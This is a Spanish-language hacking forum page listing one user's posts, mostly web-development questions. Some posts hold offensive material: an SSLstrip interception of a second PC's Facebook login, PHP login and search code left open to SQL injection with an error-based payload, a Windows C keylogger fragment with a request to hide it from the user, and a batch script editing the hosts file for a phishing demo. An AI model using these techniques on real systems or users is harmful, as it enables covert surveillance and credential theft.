Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - ars1993

#1
Alguien conoce la expresion regular que me serviria para detectar si en un String, los primeros 7 caracteres son "#cadena" ? Voy a recibir cosas del tipo "#cadena 1235", "#cadenafeaebe", #cadenaf24eawe", etc.


Gracias!
#2
Hacking / instalacion Kali Linux
14 Abril 2014, 15:41 PM
Buenas,

Quiero empezar a jugar con Kali Linux, y ayer fui a la web oficial para descargarme la ".iso" de 64 para correrla en una máquina virtual. El problema esque después de descargarlo, descomprimí el fichero y no encontré la iso en ningún lado. El archivo descargado una vez descomprimido resultaron ser unas 7 u 8 carpetas con los nombres:
-.disk
-[BOOT]
-dists
-firmware
-install
-isolinux
-etc etc etc etc

Busqué por dentro de esas carpetas pero no había nada que pudiese parecerse a una "iso".

Alguien que haya descargado recientemente kali linux DE LA WEB OFICIAL DE KALI (como yo he hecho) se ha encontrado con esto?


Gracias!
#3
Hacking / Problemas con ssl strip
21 Marzo 2014, 19:51 PM
Buenas!, que tal?

Estoy haciendo unas pruebas domésticas utilizando ssl strip. Tengo dos PCs en casa i para probarlo, hice que todo el tráfico del "pc2" pasara por el "pc1" en vez de ir directamente al router. Un simple Man In The Middle, vamos.

Una vez toda el montaje hecho, llegó el momento de esnifar el tráfico de pc2 con el ssl strip ejecutándose, pero obtuve resultados no satisfactorios. Me conecté a facebook desde pc2 y desde pc1 pude ver los datos de la cuenta sin cifrar. Hasta aquí todo perfecto. El problema es que facebook no cargaba bien las cosas y se veían mal en "pc2". La gracia precisamente está en que el posible usuario de "pc2" no se diese cuenta, y en mi caso hubiera visto que algo pasaba pues como digo la página no cargaba bien, sólo cargaba partes, y de forma incorrecta.

Alguien se ha encontrado con éste problema? Quizá es algo del ssl strip que tengo que configurar? Alguna sugerencia?


Muchas gracias! ;D
#4
Java / Crear instancia de una clase en JAVA
14 Febrero 2014, 19:37 PM
Buenas! Tengo el siguiente código en JAVA:


public class Person{
      public class Address{
      }
}


Ya sé que no tiene constructor pero solamente lo pongo para dar la idea de lo que tengo. Una classe dentro de otra.

Cómo puedo crear una instancia de la clase Address? He probado con el "new" de siempre:

Address address1 = new Address();


Pero el intento no ha tenido éxito. Alguien me puede decir como lo debo hacer? Gracias! :D
#5
Buenas!

Mirad, necesito añadir a una web la funcionalidad de poder descargar de ahí un archivo pdf.
Lo primero que se me ha venido a la cabeza ha sido:

<a href="archivo.pdf">

muy simple. Aún así, con ésta solución se abre una pestaña nueva en el navegador donde puedo ver el archivo.pdf

Alguien conoce alguna solución para que en vez de un link que me abra el fichero, poner un link que al apretarlo directamente se descargue?


Gracias! ;D
#6
Desarrollo Web / problema al situar el footer
10 Febrero 2014, 18:04 PM
Buenas, tengo estructurada una web de la siguiente manera:

HTML:

<body>
<div class = "fons">
<div class = "capcalera">
<div class = "name">
</div> <!--name-->

<div class = "login">
<?php include 'div_de_login.php'?>
</div> <!--login-->

<div class = "navigation">
<?php include 'menu_navegacio.php'?>
</div> <!--navigation-->
</div> <!---capcalera-->

<div class = "contingut">
<?php include 'l_orquestra.php'?>
</div> <!--contingut-->

<div class = "footer">
</div> <!--footer-->
</div> <!---fons-->
</body>


Todo lo que son las class "name", "login", etc etc estan ubicadas con "position:absolute" i el uso de margins. El motivo es porque no necesito que sea responsive y necesito tener sí o sí lo de "position:absolute". Partiendo de ésto, mi pregunta es: Como puedo ubicar (en CSS) el footer (div class ="footer") debajo de lo que haya en "contingut"? No puedo darle position absolute puesto que lo de dentro de contingut cambia dependiendo de la sección del menú donde el usuario se encuentra.

He probado dare ubicación (sin éxito) con:

.footer{
     position: relative;
     margin-bottom: 20px;
}


Alguen me podria dar alguna solución a ésto? muchas gracias :D
#7
Desarrollo Web / Problema con javascript
8 Febrero 2014, 22:08 PM
Tengo un problema con el archivo .js que utilizo en mi web porque básicamente tengo en él dos funciones. Una para cargar una sección en concreto en Ajax, y otra para un slider de fotos. El problema que tengo es que si separo digamos las dos funciones (la de Ajax) y la del slider en dos ficheros distintos, me funcionan bien. PERO, cuando lo junto todo en un solo fichero .js que es el que incluyo en mi web, luego no me funciona.

El codigo de lo que seria todo junto es el siguiente:

Código (javascript) [Seleccionar]

$(document).ready(function(){
$(".boto_els_musics").click(function(){
$(".contingut").load('els_musics.php');
});


/*---------------------------------------------------*/
/*-----------FUNCIONS PER L'SLIDER JQUERY------------*/
/*---------------------------------------------------*/
function rotateBanners(elem) {
 var active = $(elem+" img.active");
 var next = active.next();
 if (next.length == 0)
next = $(elem+" img:first");
 active.removeClass("active").fadeOut(700);
 next.addClass("active").fadeIn(700);
}

function prepareRotator(elem) {
 $(elem+" img").fadeOut(0);
 $(elem+" img:first").fadeIn(0).addClass("active");
}

function startRotator(elem) {
 prepareRotator(elem);
 setInterval("rotateBanners('"+elem+"')", 4000);
}
/*---------------------------------------------------*/
/*---------------------------------------------------*/

});


Aver si alguien detecta algun error de algo que no estoy poniendo bien. Gracias! :D
#8
Desarrollo Web / Ajax - duda para utilizarlo
7 Febrero 2014, 16:13 PM
Buenas, tengo un menú hecho de la siguiente manera:

HTML:

<div class = "navigation">
<ul>
<li>
<a href = "#"><h2>opcion1</h2></a>
</li>

<li>
<a href = "#"><h2>opcion2</h2></a>
</li>
       </ul>
</div>


y me gustaria que cuando pulse sobre "opcion1" o "opcion2" me cargue con ajax lo que seria el div central de la página. El contenido que quiero en ese div central, lo tengo en dos ficheros.php (se cargará uno u otro dependiendo de la opcion que haya clicado el usuario).

Alguien me puede hechar una mano con esto? gracias! :)
#9
Desarrollo Web / Problemas con opacity de CSS
6 Febrero 2014, 12:21 PM
Tengo problemas al aplicar la propiedad de opacity en un div. Me funciona pero no hace exactamente lo que quiero.

Tengo por ejemplo un div que hace la función de un simple botón al cual aplico la propiedad de opacity (para que quede transparente y se vea un poco el fondo de la web).

El problema es que luego cuando escribo un texto dentro de ese div (que seria un texto de hipervínculo) el texto lo pongo el "color: white" y claro, como está dentro del div que tiene "opacity:..." luego se le aplica el opacity también al texto, y no sale de color blanco, sale un blanco-gris medio transparente (por culpa del opacity).

HTML:

<div class = "boton">
    <a href = "ejemplo.php">Boton_ejempl</a>
</div>


CSS:

.boton{
    background-color: black;
    opacity: 0.3;
}

.boton a{
    color: white; /*color del texto que quiero que sea blanco de verdad*/
}



A ver si alguien me puede proponer una solución. Muchas gracias!  :)
#10
Buenas, tengo problemas situando el texto de un <a> (enlace) que está situado dentro de un <div>

HTML:

<div class="cualquiercosa">
       <a href ="archivo.php">EJEMPLO</a>
</div>


CSS:

.cualquiercosa{
    text-align: center;
    padding-top: 10px;


El padding top no me lo coge. Simplemente lo que tengo es un div rectangualar que hace la funcion de "boton" y solamente quiero situar el texto del enlace dentro de él centrado horizontalmente y verticalmente. Horizontalmente lo hago con text-align: center, pero verticalmente en otras ocasiones (con otros tags) lo habia hecho con padding-top o margin-top..... En ésta ocasión lo he probado y no me funciona.

Alguien me puede proponer una solucion, por favor? Gracias!
#11
Desarrollo Web / Dar formato a un tag <input>
3 Febrero 2014, 19:39 PM
Buenas, quiero hacer lo siguiente:

<input class = "ejemplo">

Lo necesito puesto que tengo varios <input> en una web y quiero darles distinto formato desde el css. El problema es que éste tag quizás no soporta el atributo class (muy raro porque hasta ahora no habia encontrado ninguno que no lo soportara).

Alguien conoce alguna solución/alternativa al problema?

Gracias! :)
#12
Buenas, existe la posibilidad de ver las variables de sesión que están almacenadas en el navegador? Estoy trabajando con Google Chrome.

Si hago:
Código (php) [Seleccionar]
<?php
$_SESSION
['s_username'] = $username;
?>


Ésta variable de sesion se almacenan en el navegador y tenia la curiosidad si hay algun menú donde se puedan ver estas variables almacenadas.

Gracias! :)

#13
Buenas, tengo un problema de posicionar un texto dentro de un div con CSS. Me gustaria que saliese centrado tanto verticalmente como horizontalmente.
Para centrarlo horizontalmente he usado "text-aligh: center" y para centrarlo verticalmente he probado varias cosas pero sin exito: display:table-cell;vertical-align:middle; etc etc (varias cosas que he encontrado por ahí).

El problema es que el texto se centra horizontalmente pero la parte inferior de las letras se sale un poco del div cuando por arriba de las letras sobra muuucho espacio.

Alguien me puede proponer una solución para ésto? En principio no tiene que ser ningún problema de los "margin" (que a veces pueden tocar las narices). Pongo aquí la porción de código para que lo vean si quizá estoy haciendo algun error:

HTML:
Código (html4strict) [Seleccionar]

<div class = "login">
<div class = "titol_login">
<h2>ACCÉS DELS MÚSICS</h2>
</div> <!--titol_login-->
</div> <!--login-->


CSS:
Código (css) [Seleccionar]

.login{
height: 170px;
width: 370px;
margin-top: 10px;
margin-right: 10px;
margin-bottom: 10px;
margin-left: 10px;
float: right;
border: 10px solid #FE2E2E;
background-color: yellow;
border-top-left-radius: 40px;
border-bottom-right-radius: 40px;
border-bottom-left-radius: 40px;
}

.titol_login{
height: 40px;
width: 370px;
position: absolute;
background-color: blue;
border-top-left-radius: 20px;
background-color: blue;
text-align: center;
}
#14
Desarrollo Web / Problema con "margin-top"
30 Enero 2014, 14:53 PM
Buenas, tengo un pequeño problema al situar las cosas en una web con css.

Éste es el un trozo del HTML que tengo (es donde tengo el problema):
Código (html4strict) [Seleccionar]

<div class = "fons">
<div class = "capcalera">
<div class = "name">
</div> <!--name-->
       </div>
</div>


Y el css:
Código (css) [Seleccionar]

body {
background: url("media/background.gif");
}


.fons {
height: 1000px;
width: 1200px;
margin-right: auto;
margin-left: auto;
margin-top: 100px;
background-color: green;
}

.capcalera{
height: 200px;
width: 1200px;
margin-top: 200px;
background-color: white;
}


Le doy los atributos background-color para ver como quedan las cosas. El problema está en que cuando quiero situar el div "capcalera" que está dentro del div "fons" si le doy margin-top:10px (por ejemplo) lo que me ocurre es que esos 10px se le suman al margin-top del div "fons" y no es éso lo que quiero.

Quisiera poder desplazar el div capcalera (que es de color blanco) teniendo en cuenta que está dentro del div "fons" pero lo quisiera mover de manera independiente. Quisiera que los margin-top de ambos no se "sumaran", por decirlo de alguna forma.


Alguien me puede proponer una solucion? Gracias! ;)
#15
Buenas!

Estoy imprimiendo una tabla considerablemente grande con php. Al tener muchas filas, ocupa mucho en la página web. Existe alguna manera de darle a ésa tabla una sección de un tamaño concreto, que quepan por ejemplo no más que 10 filas, y luego haya una barra de "scroll" para ver los otros registros.

Estoy seguro que exite algo así pero he estado buscando y no encuentro cómo hacerlo. Alguien podria ponerme un pequeño ejemplo en código?


Muchas gracias ;)
#16
Buenas,

Mi pregunta es: se puede almacenar una pasword en formato hash des de un script sql? Es decir, con el script ".sql" que creas todas las tablas, relaciones, etc. Hay alguna forma de hacer algo como ésto?:


INSERT INTO mi_tabla (pasword) VALUES ( hash('sha512',1234) );


Ésto no funciona. Mysql (que es el gestor que uso) me lanza un error de sintaxis. Alguien conoce una alternativa? (no se vale responder diciendo que lo haga con php porque éso es obvio :P )


Graicas!
#17
Desarrollo Web / SQL injection (pruebas)
28 Enero 2014, 12:27 PM
Buenas, estoy haciendo un código para probar "cosas" de SQL injection. Estoy trabajando con PostgreSQL.

Básicamente estoy probando vulnerabilidades con el paso de variables por la URL (blablabla?id="algo")
La estructura de la web vulnerable que estoy haciendo es basicamente dos ficheros. Uno de login, que una vez logeado se pasa a otro fichero que muestra productos, que los puedes buscar (ahí está la vulnerabilidad, la búsqueda por la URL con un "id=")

El problema es que estoy haciendo algo mal y no funciona la cosa. La vulnerabilidad que quiero probar es causar un error en la query (por la URL) para que me devuelva pues por ejemplo la versión de la base de datos.

Si yo hago:

http://localhost/pruebas/producto.php?id='

Ésto peta que ya es lo que interesa y da el error siguiente:

pg_exec(): Query failed: ERROR: unterminated quoted string at or near "'''" LINE 1: select * from productos where referencia = ''' ^ in C:\...etc etc


El problema es cuando intento meter en el id ésto:

http://localhost/pruebas/producto.php?id= cast(version() as int)


Ésto en teoria también tendria que petar y darme un error que por ahí enmedio del error me diria la version de postgreSQL, el sistema operativo (en éste caso el mío porque lo hago todo en local, etc etc).
Pero no es el caso, no me peta y no sé por qué motivo.

Adjunto los códigos de éstos dos ficheros aver si alguien se le ocurre algo.


LOGIN.PHP

<?php
session_start
();

include 
'pg.inc.php';

//Si se ha rellenado anteriormente el formulario, comprobar los datos
if(isset($_POST["nombre"])){

//Sentencia SQL a ejecutar
$sql "SELECT * FROM usuarios WHERE nombre = '".$_POST["nombre"]."' AND contrasena = '".$_POST["pwd"]."'";
echo $sql;
$resultado ejecutar_SQL($conexion,$sql);

//Si hay filas, los datos de acceso eran correctos
if(numero_filas($resultado) != 0){

//Obtener los datos del usuario loggeado
$fila fila($resultado,0);

//Almacenar su ID en los datos de la sesión
$_SESSION["usuario"] = $fila["id"];

//Dar la bienvenida
echo "<h3>Login OK</h3> Bienvenid@ ".$fila["desc"]."<br> Pulse <a href='producto.php'>aqui;</a> para continuar.";
}
else{
echo "<h3>Login fallido</h3>";
}
}

//Si no se ha iniciado la sesión, mostrar un formulario de logon
if(!isset($_SESSION["usuario"])){
print  '<form method="POST" action="login.php">
<table border="1">
<tr>
<td colspan="2"> Introduzca sus datos de acceso</td>
</tr>
<tr>
<td>Nombre:&nbsp;</td>
<td><input type="text" name="nombre" id="nombre"></td>
</tr>
<tr>
<td>Clave:&nbsp:</td>
<td><input type="password" name="pwd" id="pwd"></td>
</tr>
</table>
<input type="submit" value="Enviar">
</form>'
;
}

?>





PRODUCTO.PHP

<?php
//-----------------------Encabezado donde se muestra el nombre de usuario-----------
session_start();

include 
'pg.inc.php'//Funciones de operaciones con la base de datos

if (isset($_SESSION["usuario"])){
//Obtener el nombre del usuario
$sql "select * from usuarios where id=".$_SESSION["usuario"];
$resultado ejecutar_SQL($conexion,$sql);
$fila fila($resultado,0);
$usuario $fila["desc"];

//Mostrar un indicador del usuario logado
echo '<table border="1" width="100%">
<tr width="100%"><td>
HA INICIADO SESSION COMO: '
.$usuario.'</td></tr></table><br>';
}
else{
//Si no está logado, redirigir a logon
header('Location: login.php');
}
//-----------------------------------------------------------------------------------


//----------------------Sección para la búsqueda de productos------------------------

//Si se indicó el producto, buscarlo
if(isset($_GET["id"])){
$sql "select * from productos where referencia = '".$_GET["id"]."'";
$resultado ejecutar_SQL($conexion,$sql);

if(numero_filas($resultado) == 0){
echo "Referencia no encontrada";
}
else{
$fila fila($resultado,0);
echo "<h3>Datos sobre el producto:</h3>";
echo "<table border=1>";
echo "<tr><td>Referencia</td><td>Nombre</td><td>Precio</td></tr>";
echo "<tr><td>".$fila["referencia"].'</td><td>'.$fila["nombre"].'</td><td>'.$fila["precio"].'</td></tr>';
echo "</table>";
}
}

//Mostrar formulario "Buscar"
echo '<h3>Buscar Producto</h3>
<form method="GET" action="producto.php">
Buscar: <input type="text" id="id" name="id">
<input type="submit" value="Buscar">
</form>'
;
?>





Muchas gracias! Saludos
#18
Buenas, es la primera vez que utilizo PostgreSQL como gestor de base de datos y estoy haciendo un informe sobre SQL injection. El problema es que estoy teniendo un error en el código y no tengo ni idea de donde estoy cometiendo el fallo. A ver si alguien mas experimentado me hecha una mano :P Basicamente son dos archivos:

login.php

<?php
session_start
();

include 
'pg.inc.php';

//Si se ha rellenado anteriormente el formulario, comprobar los datos
if(isset($_POST["nombre"])){

//Sentencia SQL a ejecutar
$sql "SELECT * FROM usuarios WHERE nombre = ".$_POST["nombre"]." and contrasena = ".$_POST["pwd"];
echo $sql;
$resultado ejecutar_SQL($conexion,$sql);

//Si hay filas, los datos de acceso eran correctos
if(numero_filas($resultado) != 0){

//Obtener los datos del usuario loggeado
$fila fila($resultado,0);

//Almacenar su ID en los datos de la sesión
$_SESSION["usuario"] = $fila["id"];

//Dar la bienvenida
echo "<h3>Login OK</h3> Bienvenid@ ".$fila["desc"]."<br> Pulse <a href='prducto.php'>aqui;</a> para continuar.";
}
else{
echo "<h3>Login fallido</h3>";
}
}

//Si no se ha iniciado la sesión, mostrar un formulario de logon
if(!isset($_SESSION["usuario"])){
print  '<form method="POST" action="login.php">
<table border="1">
<tr>
<td colspan="2"> Introduzca sus datos de acceso</td>
</tr>
<tr>
<td>Nombre:&nbsp;</td>
<td><input type="text" name="nombre" id="nombre"></td>
</tr>
<tr>
<td>Clave:&nbsp:</td>
<td><input type="password" name="pwd" id="pwd"></td>
</tr>
</table>
<input type="submit" value="Enviar">
</form>'
;
}

?>




pg.inc.php

<?php
//Abrir una conexión con la Base de Datos
function conectar($host$db$usuario$contraseña){
return pg_connect("host=$host dbname=$db user=$usuario password=$contraseña");
}

//Cerrar una conexión
function cerrar_conexion($conexion){
pg_close($conexion);
}

//Ejecutar una consulta SQL sobre una conexión
function ejecutar_SQL($conexion$cadena){
return pg_exec($conexion$cadena);
}

//Obtener el número de filas de un resultado
function numero_filas($resultado){
return pg_numrows($resultado);
}

//Obtiene la fila número $i de un resultado
//Para obtener un campo se usa la sintaxis $fila_obtenida["nombre-de-la-columna"]
function fila($resultado$i){
return pg_fetch_array($resultado$i);
}


//Nos conectamos a la bd
$conexion conectar('localhost''SQL_injection''postgres''***********');
?>



El error que me da cuando hago el submit en el formulario es el siguiente:
Warning: pg_exec(): Query failed: ERROR: column "faqef" does not exist LINE 1: SELECT * FROM usuarios WHERE nombre = faqef and contrasena =... ^ in C:\xampp\htdocs\sql_injection\pg.inc.php on line 14


Pero lo mejor de todo, es que hago un echo de la consulta SQL que construyo y es correcta! :S
SELECT * FROM usuarios WHERE nombre = faqef and contrasena = fewe
En este caso, tendria que devolver un "login fallido" en vez de tirar un error.


Aver si alguien tiene mas vista que yo. Muchas gracias ;D ;D
#19
Redes / conectar cable red universidad
23 Noviembre 2013, 17:16 PM
Bunas,

La conexión inalámbrica de mi universidad funciona muy mal. Es extremadamente lenta y pierdes la conexión continuamente.

Es por eso que hay una aula de informatica para ir allí y trabajar desde esos pc's que estan conectados por LAN y su connexión funciona de maravilla.

Si cojo el cable de red de uno de esos pc's y lo enchufo al mio (exactamente como hago en casa), no funciona. Si lo hago en casa funciona pero ahí no. Será que tengo que configurar una nueva interfaz de red o entrarle yo manualmente la misma configuración de red que tiene el pc de la uni al que cojo el cable...

A ver si alguien me puede hechar una mano! gracias
#20
Buenas, he escrito un keylogger en C usando hooks y tengo un pequeño problema, a ver si alguien me puede ayudar.
Ésto es parte de la función principal (WinMain) de mi keylogger

f = fopen ("C:/KEYS.TXT", "a+");
if (f==NULL){
exit(0);
}

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

MessageBox(NULL, L"Click to exit", L"Keylogger", NULL);

        UnhookWindowsHookEx(keyboardHook);
fclose(f);
return 0;


Tengo que utilizar MessageBox() porque necesito que el programa se ejecute infinitamente. Aún así, MessageBox() no es muy bueno para mi keylogger ya que muestra un mensaje por pantalla (como es lógico). Aún así, he estado buscando y no encuentro otra función (o líneas de código) que hagan que el hook permanezca siempre sin que el usuario se de cuenta.

Mi código compila y guarda todo lo que el usuario escribe en un fichero. Aún así, el problema es éste que describo, que mientras el keylogger se está ejecutando, se muestra por pantalla el cuadro de diálogo originado por MessageBox().

A ver si alguien tiene alguna idea.

Gracias! ;)
#21
Buenas! Estoy programando algo usando la API de windows pero me tira siempre un error. El trozo de codigo que falla és la llamada a la funcion WinMain:
code]int WINAPI WinMain(HINSTANCE hinstExe, HINSTANCE, PTSTR pszCmdLine, int)


El error que me sale es:
error C2731 'WinMain': no se puede sobrecargar la función

He estado buscando sobre éste error y no consigo ver donde estoy fallando. Me extraña porque en ejemplos de por ahí, hacen la llamada a WinMain igual que yo....


Gracias!
#22
Buenas a todos!

Estoy haciendo un keylogger en C que como buen keylogger :P va guardando las puslaciones del usuario en un fichero almacenado en Disco. Cuando pulsas la tecla ESC el programa termina. Ahora bien, tengo dos problemas:

1.- Algunas teclas "especiales" como los ?&$... o los F1...F12 los almacena con un símbolo que no toca. Supongo que tendre que incluir algo de ASCII en mi keylogger para que esas teclas "especiales" las guarde bien. Alguien me puede orientar un poco con esto?

2.- Éste es el principal problema que tengo: Cuando ejecuto el keylogger, si justo después empiezo a apretar teclas, luego cuando apreto ESC voy al fichero y está todo ahí. Hasta aquí perfecto. El problema es que si después de ejecutar el programa (y sin apretar ESC) abro nuevas ventanas, canvio de ventana activa.... luego apreto ESC y si voy a mirar al fichero sólo encuentro keyloggeado hasta el momento que he empezado a canviar de ventana o abrir una nueva ventana...
Será que cuando mi keylogger pasa a "segundo plano" deja de ejecutarse? Me podeis orientar un poco también en como solucionarlo? algun trozito de codigo C para ayudar...

Gracias!  ;D
#23
Programación C/C++ / Webcam en c/c++
20 Mayo 2013, 18:49 PM
Buenas!

Quiero programar una aplicación en c/c++ (preferiblemente en C puesto que lo domino mas) que solamente me muestre por pantalla lo que la webcam del pc está gravando. Sólamente ésto.

Llevo varios dias buscando cómo hacer ésto y realmente no estoy encontrando casi nada. Es más, no encuentro nada relacionado con el hecho de interactuar con los periféricos del PC (altavoces, webcam...).
Aún así lo que me interesa solamente resolver en éste post es el hecho de poder hacer una aplicación que muestre el vídeo grabado por una webcam (no hace falta que lo guarde ni nada). Me podéis orientar un poco pease?

He oído algo sobre que en la API de Windows se encuentra toda ésta información que yo ando buscando pero... no encuentro esa API en ningun lado. Con lo fácil que es encontrar la API de Java... :P


Gracias! ;)
#24
Hacking / Wireshark
18 Mayo 2013, 23:31 PM
Buenas a todos/as!

Estoy en la universidad con la asignatura de redes. Es la primera vez en la vida que toco este tema, y me está gustando mucho. Llevo ya 3 meses con la asignatura (se acerca el final! :P).

He estado buscando sobre sniffers para anazilar los paquetes y tengo varias preguntas/dudas, a ver si me echáis un cable:

1.- Como puede ser que wireshark reciba paquetes que no van dirigidos a mi? Si la ip destino de un paquete no soy yo, no entiendo como es que puedo ver dicho paquete.

2. He puesto el filtro de cojer solamente paquetes ftp y no me coge nada... qué pasa? (mientras ejecuto el sniffer voy navegando por internet eh, eso es evidente)

Muchas gracias gente! aver si de aquí un tiempo puedo ser yo quien resuelva las dudas a los foreros! :P
#25
Scripting / Ayuda con un archivo BAT
14 Septiembre 2012, 11:05 AM
Buenas a todos. Estoy con mi trabajo de recerca de bachillerato, y va tratar sobre seguridad en la red.
Vamos con la pregunta:
Estoy creando un script que al ejecutarlo, quiero que modifique el archivo de hosts de windows. Hasta ahora, tengo el siguiente codigo:

@echo off
echo 0.0.0.0 www.googl.es>>C:\Windows\System32\drivers\etc\hosts
echo la operacion ha sido realizada correctamente
pause>nul

Éste script me va a servir por lo siguiente:
Voy a programar un servidor demostraré en la presentación del trabajo de recerca lo que es el phishing. El servidor esta medio montado, y la pagina web tambien esta bastante avanzada. El problema es el script, que al ejecutarlo para probarlo, me de un mensaje "Acceso denegado". Alguien me puede echar una mano? :D

Muchas gracias!